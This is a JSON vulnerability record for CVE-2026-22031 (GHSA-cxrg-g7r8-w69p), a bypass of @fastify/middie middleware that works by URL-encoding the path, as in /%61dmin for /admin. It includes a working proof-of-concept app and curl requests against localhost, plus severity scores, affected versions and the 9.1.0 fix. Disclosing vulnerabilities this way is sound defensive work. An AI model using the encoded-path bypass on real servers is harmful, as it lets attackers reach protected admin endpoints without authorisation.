{"id":"CVE-2026-22031","aliases":["CVE-2026-22031","GHSA-cxrg-g7r8-w69p"],"related":["CVE-2026-6414"],"kind":"vulnerability","state":"published","title":"Fastify Middie Middleware Path Bypass","summary":"@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1.  **Regex Generation**: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2.  **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3.  **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n    *   The generated regex expects a decoded path (e.g., `/admin`).\n    *   If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n    *   `middie` assumes the middleware does not apply and calls `next()`.\n4.  **Route Execution**: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n  const result = regexp.exec(url) // <--- 'url' is undecoded.\n  if (result) {\n    // ... executes middleware ...\n  } else {\n    that.done() // <--- Middleware skipped on mismatch\n  }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register middie for Express-style middleware support\n  await fastify.register(require('@fastify/middie'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) => {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) => {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) => {\n    return { message: 'Admin panel' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3008 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1.  **Normal Request (Blocked):**\n    ```bash\n    curl http://localhost:3008/admin\n    # Output: Forbidden: Access to /admin is blocked\n    ```\n2.  **Bypass Request (Successful):**\n    ```bash\n    curl http://localhost:3008/%61dmin\n    # Output: {\"message\":\"Admin panel\"}\n    ```\n\n### Impact\n*   **Type:** Authentication/Authorization Bypass.\n*   **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n*   **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.","format":"markdown","source":"ghsa"},{"lang":"es","text":"@fastify/middie es el plugin que añade soporte de middleware potenciado a Fastify. Una vulnerabilidad de seguridad existe en @fastify/middie anterior a la versión 9.1.0 donde el middleware registrado con un prefijo de ruta específico puede ser evadido usando caracteres codificados en URL (p. ej., '/%61dmin' en lugar de '/admin'). Mientras que el motor de middleware falla al coincidir con la ruta codificada y omite la ejecución, el router subyacente de Fastify decodifica correctamente la ruta y coincide con el manejador de ruta, permitiendo a los atacantes acceder a puntos finales protegidos sin las restricciones del middleware. La versión 9.1.0 corrige el problema.","source":"nvd"}],"published":"2026-01-19T15:24:45.899Z","modified":"2026-07-08T08:14:42.833Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-177"],"affected":[{"ranges":[{"version":"< 9.1.0","status":"affected"}],"vendor":"fastify","product":"middie","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"9.1.0"}],"ecosystem":"npm","package":"@fastify/middie","purl":"pkg:npm/%40fastify/middie","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"9.1.0"}],"vendor":"fastify","product":"fastify/middie","cpe":"cpe:2.3:a:fastify:fastify\\/middie:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/fastify/middie/pull/245","tags":["issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/fastify/middie/releases/tag/v9.1.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22031","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/fastify/middie","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-01-20T14:45:11.251Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-22031","url":"https://www.cve.org/CVERecord?id=CVE-2026-22031","licence":"CVE Terms of Use","modified":"2026-01-20T14:45:31.487Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cxrg-g7r8-w69p","url":"https://github.com/advisories/GHSA-cxrg-g7r8-w69p","licence":"CC-BY-4.0","modified":"2026-07-08T08:14:42.833Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-22031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22031","licence":"Public domain","modified":"2026-06-17T10:19:23.437Z"}],"updatedAt":"2026-11-25T22:59:12.934Z","epss":{"score":0.00532,"percentile":0.46417,"date":"2026-12-01T12:00:22.000Z"}}